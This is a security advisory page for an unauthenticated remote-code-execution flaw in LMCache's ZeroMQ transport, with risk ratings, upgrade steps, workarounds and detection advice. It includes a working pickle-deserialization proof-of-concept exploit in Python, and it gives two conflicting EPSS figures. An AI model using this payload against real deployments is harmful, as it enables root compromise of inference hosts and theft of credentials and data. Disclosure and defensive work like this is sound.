CVE-2026-105192: LMCache: unauthenticated RCE via pickle in ZMQ transport
GHSA-w5f2-9q9c-ff4hCRITICALCISA: TRACK*LMCache's multiprocess (distributed) mode exposes an unauthenticated ZeroMQ socket on port 5555 that deserializes attacker-controlled data with pickle, so a single crafted message gives arbitrary code execution as the LMCache process user, which is root in official container images. The CVSS is 9.8 and 97 downstream packages depend on LMCache, but exposure is limited to deployments that bind the transport to a routable address, such as multi-node setups and the project's former example Kubernetes manifest. EPSS is low (0.48%, top 60%), the entry is not in CISA KEV, and no public exploit or Nuclei template exists. The advisory itself, however, includes a working proof of concept that is trivial to reproduce, so that picture can change quickly. Upgrade all workers and servers together to 0.5.6, because the wire format changed. Until then, bind the transport to localhost, block port 5555 with firewall rules or network policies, and run as non-root. If the port was ever reachable from an untrusted network, treat the host as compromised.
What is the risk?
Critical severity (CVSS 9.8: network, low complexity, no privileges, no user interaction). Exploitation takes one message and needs no AI/ML knowledge. Actual exposure depends on configuration: the default localhost bind and in-process use inside vLLM do not open the port. Multi-node deployments, the example Kubernetes manifest that bound all interfaces, and root-running official images raise the real-world risk sharply. Current exploitation signals are low (EPSS 0.00482, no KEV, no public weaponized exploit), but the advisory PoC makes weaponization easy. Affected: 0.3.9 through 0.5.5 and the 0.5.6 release candidates.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade to LMCache 0.5.6, which replaces pickle with versioned, typed MessagePack descriptors validated against a fixed allowlist. Upgrade all workers and servers together because the wire format changed. 2) Until patched, do not bind with --host 0.0.0.0 or any routable address. Keep the transport on localhost or a trusted cluster network. 3) Restrict TCP 5555 with firewalls, security groups or Kubernetes NetworkPolicies. 4) Run LMCache as a non-root user and rebuild images from the updated Dockerfile. 5) Detection: inventory hosts running lmcache.v1.multiprocess, check which ones listen on 5555 outside loopback, review connections to that port, and hunt for unexpected child processes, files in /tmp and outbound connections from the LMCache process. 6) If exposure to an untrusted network is confirmed, rotate reachable credentials and redeploy from clean images.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-105192?
LMCache's multiprocess (distributed) mode exposes an unauthenticated ZeroMQ socket on port 5555 that deserializes attacker-controlled data with pickle, so a single crafted message gives arbitrary code execution as the LMCache process user, which is root in official container images. The CVSS is 9.8 and 97 downstream packages depend on LMCache, but exposure is limited to deployments that bind the transport to a routable address, such as multi-node setups and the project's former example Kubernetes manifest. EPSS is low (0.48%, top 60%), the entry is not in CISA KEV, and no public exploit or Nuclei template exists. The advisory itself, however, includes a working proof of concept that is trivial to reproduce, so that picture can change quickly. Upgrade all workers and servers together to 0.5.6, because the wire format changed. Until then, bind the transport to localhost, block port 5555 with firewall rules or network policies, and run as non-root. If the port was ever reachable from an untrusted network, treat the host as compromised.
Is CVE-2026-105192 actively exploited?
No confirmed active exploitation of CVE-2026-105192 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-105192?
1) Upgrade to LMCache 0.5.6, which replaces pickle with versioned, typed MessagePack descriptors validated against a fixed allowlist. Upgrade all workers and servers together because the wire format changed. 2) Until patched, do not bind with --host 0.0.0.0 or any routable address. Keep the transport on localhost or a trusted cluster network. 3) Restrict TCP 5555 with firewalls, security groups or Kubernetes NetworkPolicies. 4) Run LMCache as a non-root user and rebuild images from the updated Dockerfile. 5) Detection: inventory hosts running lmcache.v1.multiprocess, check which ones listen on 5555 outside loopback, review connections to that port, and hunt for unexpected child processes, files in /tmp and outbound connections from the LMCache process. 6) If exposure to an untrusted network is confirmed, rotate reachable credentials and redeploy from clean images.
What systems are affected by CVE-2026-105192?
This vulnerability affects the following AI/ML architecture patterns: LLM inference serving, Distributed KV cache sharing, Multi-node vLLM deployments, Kubernetes-based model serving.
What is the CVSS score for CVE-2026-105192?
CVE-2026-105192 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.02%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0035AI Artifact CollectionAML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0112.001AI ArtifactsCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport ### Details LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines. Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root. The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published. ### Proof of concept Step 1 - Start multiprocess mode bound to a routable address This is the documented multi-node setting. The ZMQ transport listens on port 5555. ``` python -m lmcache.v1.multiprocess.http_server \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01 ``` Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn. ``` import os import pickle import msgspec import zmq class EvilPayload: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): return (os.system, (self.cmd,)) evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1")) REGISTER_KV_CACHE = 1 EXT_CODE = 1 NUM_PAYLOADS = 7 KVCACHE_INDEX = 1 b_uid = msgspec.msgpack.encode(0) b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE) payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS payloads[0] = msgspec.msgpack.encode(0) payloads[KVCACHE_INDEX] = msgspec.msgpack.encode( [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)] ) frames = [b_uid, b_type, *payloads] ``` Step 3 - Send the frame ``` ctx = zmq.Context() s = ctx.socket(zmq.DEALER) s.connect("tcp://127.0.0.1:5555") s.send_multipart(frames) ``` The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run. Step 4 - Confirm the command ran as the LMCache user ``` cat /tmp/zmq_pwn ``` Expected output on an official image, where the process runs as root: ``` uid=0(root) gid=0(root) groups=0(root) ``` ### Impact LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process. By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed. Affected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644. ### Patches Fixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered. The wire format has changed: upgrade all workers and servers together. 0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685). ### Workarounds Until you can upgrade: - Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network. - Restrict access to the transport port (5555 by default) with firewall rules or network policies. - Run LMCache as a non-root user (build from the provided Dockerfile if needed). If the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.
Exploitation Scenario
An attacker scans an internal or cloud network and finds an LMCache multiprocess node listening on TCP 5555 in a multi-node vLLM deployment. They send one ZMQ DEALER multipart message with a REGISTER_KV_CACHE frame whose msgpack extension code 1 carries a pickle payload with a malicious __reduce__. The server unpickles it while decoding arguments and runs the attacker's command as root. The attacker then drops a reverse shell, steals cloud credentials and model weights, reads cached prompt data from other users, and moves laterally across the GPU cluster.
Weaknesses (CWE)
CWE-306Missing Authentication for Critical FunctionPrimaryCWE-306Missing Authentication for Critical FunctionCWE-502Deserialization of Untrusted DataCWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
- blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192/vendor-advisory
- github.com/LMCache/LMCacheproduct
- github.com/LMCache/LMCache/releases/tag/v0.5.6patchrelease-notes
- pypi.org/project/lmcache/product
- research.jfrog.com/vulnerabilities/lmcache-is-vulnerable-to-unauthenticated-remote-code-execution-via-pickle-deserialization-on-the-multiprocess-zmq-transport-cve-2026-105192-jfsa-2026-001694382/vendor-advisory
- blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192
- github.com/LMCache/LMCache/blob/v0.3.9/lmcache/v1/multiprocess/custom_types.py
- github.com/LMCache/LMCache/blob/v0.5.5/lmcache/v1/platform/base/ipc_wrapper.py
- github.com/LMCache/LMCache/commit/160b6dec469edb765efd1fad42aca5a438b08bb5
- github.com/LMCache/LMCache/commit/62f74c417dfe1ba56761733fd25dc8209a192f20
- github.com/LMCache/LMCache/commit/767c7e367bbdc357c445cf7bd2ed259cff8d5865
- github.com/LMCache/LMCache/pull/5644
- github.com/LMCache/LMCache/pull/5684
- github.com/LMCache/LMCache/pull/5685
- github.com/LMCache/LMCache/security/advisories/GHSA-w5f2-9q9c-ff4h
- github.com/advisories/GHSA-w5f2-9q9c-ff4h
- nvd.nist.gov/vuln/detail/CVE-2026-105192
- research.jfrog.com/vulnerabilities/lmcache-is-vulnerable-to-unauthenticated-remote-code-execution-via-pickle-deserialization-on-the-multiprocess-zmq-transport-cve-2026-105192-jfsa-2026-001694382
Timeline
Related Vulnerabilities
CVE-2026-6173210.0Decepticon: ChatML token injection yields sandbox RCE
Same package: vllmCVE-2024-110419.8vllm: RCE via unsafe pickle deserialization in MessageQueue
Same package: vllmCVE-2026-259609.8vllm: SSRF allows internal network access
Same package: vllmCVE-2025-472779.8vLLM: RCE via exposed TCPStore in distributed inference
Same package: vllmCVE-2024-90539.8vllm: RCE via unsafe pickle deserialization in RPC server
Same package: vllm